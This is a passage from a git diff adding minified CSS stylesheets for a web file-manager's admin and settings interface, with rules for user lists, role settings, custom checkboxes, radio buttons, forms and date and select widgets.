input{height:30px;padding:0px 50px 0px 5px;}#body .system-content .right-frame .user-list{position:absolute;left:19px;top:110px;bottom:35px;right:10px;overflow:auto;}#body .system-content .right-frame .page-item{position:absolute;padding:6px 10px 10px 25px;border-top:1px solid #eee;background:#fafafa;left:1px;right:0;height:20px;bottom:0;color:#666;}#body .system-content .right-frame .page-item input{width:50px;margin:0 5px;text-align:center;}#body .system-content .right-frame .page-item select{border:none;height:20px;background:#eee;margin:0 10px;}#body .system-content .right-frame .page-item em.line{border-right:1px solid #ccc;padding:3px;width:0px;margin:0px 9px;}#body .system-content .right-frame .page-item .page-list{display:inline-block;}#body .system-content .right-frame .page-item .page-list a{display:inline-block;width:25px;line-height:22px;cursor:pointer;text-align:center;color:#444;margin-right:-3px;border:1px solid transparent;}#body .system-content .right-frame .page-item .page-list a:hover{border:1px solid #b9daff;background:#def;border-radius:2px;}#body .system-content .right-frame .page-item .page-list a.disabled{color:#bbb;cursor:not-allowed;}#body .system-content .right-frame .page-item .page-list a.disabled:hover{background:none;border-color:transparent;}#body .system-content .right-frame .page-item .page-list a .font-icon{padding:0 2px;font-size:16px;}body.setting-page .select-user-group{position:absolute;border:1px solid #ddd;top:55px;right:20px;bottom:70px;left:20px;}body.setting-page .select-user-group .title-info{position:absolute;top:-22px;width:100%;}body.setting-page .select-user-group .title-info .title{width:47%;position:absolute;}body.setting-page .select-user-group .title-info .title-right{left:53%;}body.setting-page .select-user-group .right-content,body.setting-page .select-user-group .center-action,body.setting-page .select-user-group .left-content{float:left;width:47%;position:absolute;top:0;bottom:0px;}body.setting-page .select-user-group .right-content,body.setting-page .select-user-group .left-content{overflow-y:auto;}body.setting-page .select-user-group .left-content{margin:0px !important;padding:0;}body.setting-page .select-user-group .right-content{right:0px;}body.setting-page .select-user-group .center-action{width:6%;background:#fff;position:absolute;left:47%;top:-1px;bottom:-1px;z-index:999;border-left:1px solid #ddd;border-right:1px solid #ddd;}body.setting-page .select-user-group .center-action i{width:30px;height:30px;display:block;margin-top:150px;font-size:22px;color:#999;text-align:center;}body.setting-page .select-user-group .select-group-right{padding:0;list-style:none;}body.setting-page .select-user-group .select-group-right .group-self{height:30px;line-height:30px;border-radius:2px;}body.setting-page .select-user-group .select-group-right .group-self:hover{background:#def;}body.setting-page .select-user-group .select-group-right .group-self .title{color:#1e5494;padding-left:10px;}body.setting-page .select-user-group .select-group-right .group-self .icon-group{padding-right:10px;}body.setting-page .select-user-group .select-group-right .group-self .remove{float:right;cursor:pointer;height:30px;line-height:30px;width:22px;font-size:1.25em;text-align:center;color:#aaa;padding-right:5px;}body.setting-page .select-user-group .select-group-right .group-self .remove:hover{color:#f33;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li{padding-left:1em;font-size:13px;height:26px;line-height:24px;cursor:pointer;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li.selected{background:#337ab7;color:#fff;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li.selected:hover{background:#337ab7;color:#fff;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li:hover{background:#def;color:#337ab7;}body.setting-page .select-user-group #user-group-select.ztree .group-select-box{color:#fff;font-size:12px;border-radius:2px;width:14px;height:14px;line-height:14px;text-align:center;margin-top:4px;margin-right:4px;padding:0;position:absolute;right:0px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}body.setting-page .select-user-group #user-group-select.ztree .group-select-box:before{content:"\f";}body.setting-page .select-user-group #user-group-select.ztree a:hover .group-select-box{border:1px solid #3B99FC;}body.setting-page .select-user-group #user-group-select.ztree a.this .group-select-box{border:1px solid #3B99FC;background:#3B99FC;}body.setting-page .select-user-group #user-group-select.ztree a.this .group-select-box:before{content:"\f00c";color:#fff;}body.setting-page .select-user-group .select-drop-menu{margin-top:2px;float:right;}body.setting-page .select-user-group .select-drop-menu .btn{padding:0px 0.5em;margin-top:3px;font-weight:400;}body .group-role-setting{position:relative;width:100%;height:100%;}body .group-role-setting .content-info{position:absolute;bottom:10px;right:10px;top:10px;left:10px;box-shadow:0 0 3px #ccc;border-radius:2px;}body .group-role-setting .form-row{margin-bottom:5px;width:100%;}body .group-role-setting .form-row:after{clear:both;}body .group-role-setting .form-row.line{border-bottom:1px solid #ddd;margin-bottom:5px;}body .group-role-setting .form-row label{margin-right:20px;}body .group-role-setting .form-row input[type='checkbox']{display:inline-block;width:20px !important;}body .group-role-setting .form-row input[type='text'],body .group-role-setting .form-row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:150px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;padding-left:10px;}body .group-role-setting .form-row input[type='text']:focus,body .group-role-setting .form-row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}body .group-role-setting .form-row .btn .font-icon,body .group-role-setting .form-row .btn.btn-default .font-icon{color:#666;}body .group-role-setting .form-row .setting-title{float:left;width:70px;height:30px;padding-top:5px;}body .group-role-setting .form-row .setting-content{position:relative;}body .group-role-setting .form-row .dropdown-menu{left:70px;right:auto;margin-top:5px;}body .group-role-setting .form-row .dropdown-menu:before{right:auto;left:9px;}body .group-role-setting .form-row .dropdown-menu:after{right:auto;left:10px;}body .group-role-setting .form-row .item.item-main{background:rgba(0,0,0,0.05);border-radius:4px;height:25px;line-height:25px;}body .group-role-setting .form-row .group-role-check{background:#f4fbff;border:1px solid #c3e1ff;top:5px;padding:5px;margin-left:70px;border-radius:3px;}body .group-role-setting .form-row .group-role-check .item label{display:block;height:25px;line-height:25px;padding:0px 4px;margin:1px 0;position:relative;top:-5px;}body .group-role-setting .form-row .group-role-check .item label span,body .group-role-setting .form-row .group-role-check .item label i{position:relative;top:5px;}body .group-role-setting .form-row .group-role-check .item:hover{color:#2196F3;background:#def;border-radius:4px;}body .group-role-setting .form-row .group-role-check .content{margin-left:32px;margin-bottom:10px;}body .group-role-setting .form-row-submit{background:#eee;margin:10px 0 10px 0;border-top:1px solid #ddd;height:60px;width:100%;}body .group-role-setting .form-row-submit .setting-content{margin:8px;}body .group-role-setting .form-row-submit .btn{padding:4px 2em;margin-left:10px;}body .group-role-setting .form-row-submit .btn.btn-remove{float:right;color:#666;background:none;}body .group-role-setting .form-row-submit .save{width:60px;}body .group-role-setting .left-content{position:absolute;bottom:0px;top:0px;overflow:auto;width:160px;padding:10px;border-right:1px solid #ddd;}body .group-role-setting .left-content .role-cell{color:#444;display:block;text-decoration:none;border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}body .group-role-setting .left-content .role-cell.role-cell-add{text-align:center;background:#eee;padding:0;color:#666;}body .group-role-setting .left-content .role-cell:hover{background:#eee;}body .group-role-setting .left-content .role-cell.select,body .group-role-setting .left-content .role-cell.select.role-cell-add{background:#63acff;color:#fff;}body .group-role-setting .left-content .role-cell .sub-menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}body .group-role-setting .right-content{position:absolute;bottom:0px;top:0px;left:180px;right:0px;overflow:auto;} +/* ver 4.30(2018-07-05) [build 1530795189.7342] */ \ No newline at end of file diff --git a/static/style/skin/base/common.css b/static/style/skin/base/common.css new file mode 100755 index 0000000..9bdc7a7 --- /dev/null +++ b/static/style/skin/base/common.css @@ -0,0 +1 @@ +.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ vertical-align:middle;display:inline-block;margin:0 0.8em 0 0;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;font-size:9.6px;width:16px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-smallx:before{ line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:18px;font-size:10.8px;width:18px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-small:before{ line-height:18px;} input[type="checkbox"].kui-checkbox{ height:20px;font-size:12px;width:20px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox:before{ line-height:20px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;font-size:15.6px;width:26px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-big:before{ line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;font-size:19.2px;width:32px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-bigx:before{ line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ font-size:9.6px;height:16px;width:16px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-smallx:before{ line-height:14px;} input[type="radio"].kui-radio.size-small{ font-size:10.8px;height:18px;width:18px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-small:before{ line-height:16px;} input[type="radio"].kui-radio{ font-size:14.4px;height:24px;width:24px !important;margin-right:0.8em;} input[type="radio"].kui-radio:before{ line-height:22px;} input[type="radio"].kui-radio.size-big{ font-size:15.6px;height:26px;width:26px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-big:before{ line-height:24px;} input[type="radio"].kui-radio.size-bigx{ font-size:19.2px;height:32px;width:32px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-bigx:before{ line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.form-box{color:#444;}.form-box a{color:#5d9cec;text-decoration:none;}.form-box a:hover{color:#4a89dc;}.form-box .panel-body{position:relative;}.form-box .panel-body .line,.form-box .panel-body hr{height:1px;overflow:hidden;margin:10px 30px;border:none;background:none;border-bottom:1px dotted #e9eaea;}.form-box .panel-body h1,.form-box .panel-body h2,.form-box .panel-body h3,.form-box .panel-body h4,.form-box .panel-body h5{margin:0.6em 1em 0.5em 30px;padding-bottom:0.4em;border-bottom:1px solid #e6e6e6;}.form-box.config-box .form-header{height:40px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#efefef', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-o-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);-pie-background:linear-gradient(to 60deg,#efefef 0%,#f5f7fa 100%);border-bottom:1px solid #ddd;}.form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:30px;font-size:14px;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-item-file{height:26px;width:26px;line-height:26px;text-align:center;border-radius:15%;display:inline-block;margin-right:10px;padding:0;color:#fff;position:relative;top:8px;}.form-box.config-box .form-header .modal-title img.x-font-icon,.form-box.config-box .form-header .modal-title .x-item-file.x-font-icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.form-box.config-box .form-header .modal-title img.font-icon-words,.form-box.config-box .form-header .modal-title .x-item-file.font-icon-words{font-size:10px;}.form-box.config-box .form-header .modal-title i{font-style:normal;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-font-icon{top:0px;}.form-box.config-box .panel-body{overflow:auto;border-radius:4px;padding:20px 0;position:absolute;left:0;right:0;top:42px;bottom:71px;margin:0;border:none;background:#fff;}.form-box .form-row{padding:3px 30px;padding-right:5px;width:auto;margin:1px 0;}.form-box .form-row:after{clear:both;}.form-box .form-row.form-group{margin:0;}.form-box .form-row label{margin-right:10px;display:inline;}.form-box .form-row input[type='radio']{display:inline-block;margin-right:10px;}.form-box .form-row input[type='text'],.form-box .form-row input[type='password'],.form-box .form-row input[type='number']{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;display:inline-block;height:28px;width:260px;color:#444;border-radius:4px;padding-left:0.5em;margin-right:10px;}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row select{min-width:268px;}.form-box .form-row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:251px;height:100px;margin-right:10px;border-radius:2px;padding:8px;transition:none;}.form-box .form-row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row textarea:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row .setting-title{height:30px;line-height:30px;width:140px;margin-right:20px;padding-top:5px;padding-left:5px;float:left;position:relative;text-align:right;}.form-box .form-row .setting-title .require{color:#ff5722;font-size:20px;position:absolute;margin-top:4px;padding:0 0 0 5px;}.form-box .form-row .setting-content{float:left;position:relative;width:70%;padding:5px;border-radius:4px;border:1px solid transparent;}.form-box .form-row .setting-content input.has-btn-right{width:220px;padding-right:40px;}.form-box .form-row .setting-content .input-btn-right{padding:0;margin-left:-50px;position:absolute;width:35px;height:30px;line-height:30px;border-radius:0 4px 4px 0;}.form-box .form-row .setting-content .input-btn-right .font-icon{font-size:14px;width:20px;padding:0 !important;}.form-box .form-row .setting-content input.has-btn-right:focus + .input-btn-right{border-color:#75a1f0;border-left-color:#c7d5ef;}.form-box .form-row .font-icon{padding:0;}.form-box .form-row .user-select{margin:0.5em 0;}.form-box .form-row.form-userSelect .setting-content{background:#f8fcff;padding:10px 5px;margin-top:-5px;}.form-box .form-row.form-userSelect .desc{margin-top:10px;}.form-box .form-row.error .setting-content{background:#ffefed;border-color:#ffb3ae;}.form-box .form-row.form-color .color-picker-view i{width:20px;height:20px;margin-top:5px;box-shadow:0 0 4px #666;display:inline-block;border-radius:2px;}.form-box .form-row .select2-container{width:270px !important;}.form-box .form-row .slider.slider-horizontal{width:260px;margin-right:20px;height:30px;}.form-box .form-row .slider .tooltip{pointer-events:none;}.form-box .form-row .desc,.form-box .form-row .setting-content i{color:#9ba3af;font-style:normal;}.form-box .ztree.group-list-tree a{border:none;padding-left:3px;}.form-box .ztree.group-list-tree a:hover{border:none;}.form-box .ztree.group-list-tree li a.curSelectedNode{color:#fff;}.form-box .ztree.group-list-tree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}.form-box .ztree.group-list-tree .hover .sub-menu{display:inline-block;color:#666;}.form-box .ztree.group-list-tree .curSelectedNode .sub-menu,.form-box .ztree.group-list-tree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}.form-box-title-left .form-row .setting-title{text-align:left;}body .colorpicker{z-index:99999;}body .dialog-plugin-config.dialog-no-title .aui-outer{box-shadow:0 6px 40px 0 rgba(16,17,18,0.3);border:1px solid #ccc !important;border-radius:4px;overflow:hidden;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close{color:#bbb;color:rgba(0,0,0,0.2);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active{background:rgba(0,0,0,0.12);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active.aui-close{color:#fff;background:#e81123;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons{padding-right:20px;height:40px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons button{margin-top:5px;margin-left:20px;padding:0 2em;height:30px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset{background:none;border:none;box-shadow:none;padding:0px 10px;color:#bbb;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset:hover{color:#2196F3;background:#eaf5ff;}div.xdsoft_datetimepicker{border-top:2px solid #39f;padding:0;height:250px;color:#666;}div.xdsoft_datetimepicker .xdsoft_label,div.xdsoft_datetimepicker .xdsoft_month{text-align:center;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_label:hover,div.xdsoft_datetimepicker .xdsoft_month:hover{text-decoration:none;background:#e6f2ff;}div.xdsoft_datetimepicker .xdsoft_label:hover span,div.xdsoft_datetimepicker .xdsoft_month:hover span{color:#20a0ff;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select{box-shadow:0px 2px 10px rgba(0,0,0,0.2);border:1px solid rgba(0,0,0,0.1);max-height:300px;height:200px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_monthselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_monthselect{right:0px;width:90px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_yearselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_yearselect{right:0px;width:56px;}div.xdsoft_datetimepicker .xdsoft_scrollbar >.xdsoft_scroller{background:rgba(0,0,0,0.3) !important;}div.xdsoft_datetimepicker .xdsoft_calendar td,div.xdsoft_datetimepicker .xdsoft_calendar th{height:30px;text-align:center;background:none;border:none;}div.xdsoft_datetimepicker .xdsoft_calendar td div,div.xdsoft_datetimepicker .xdsoft_calendar th div{padding:0;}div.xdsoft_datetimepicker .xdsoft_calendar th{background:#eee;color:#444;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_datepicker{width:220px;margin-right:10px;}div.xdsoft_datetimepicker .xdsoft_datepicker.active+.xdsoft_timepicker{margin:0;}div.xdsoft_datetimepicker .xdsoft_timepicker{width:70px;border-left:1px solid #ddd;background:#fbfdff;margin:0;margin-left:-1px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_prev,div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_next{margin-left:20px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box{border:none;height:203px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box >div >div{background:none;border:none;}span.select2-container--default .select2-dropdown,span.select2-container--classic .select2-dropdown{box-shadow:0 2px 10px rgba(0,0,0,0.2);border:1px solid #ccc;overflow:hidden;}span.select2-container--default .select2-dropdown .select2-search__field,span.select2-container--classic .select2-dropdown .select2-search__field{border:1px solid #ccc;}span.select2-container--default .select2-selection--multiple,span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--multiple,span.select2-container--classic 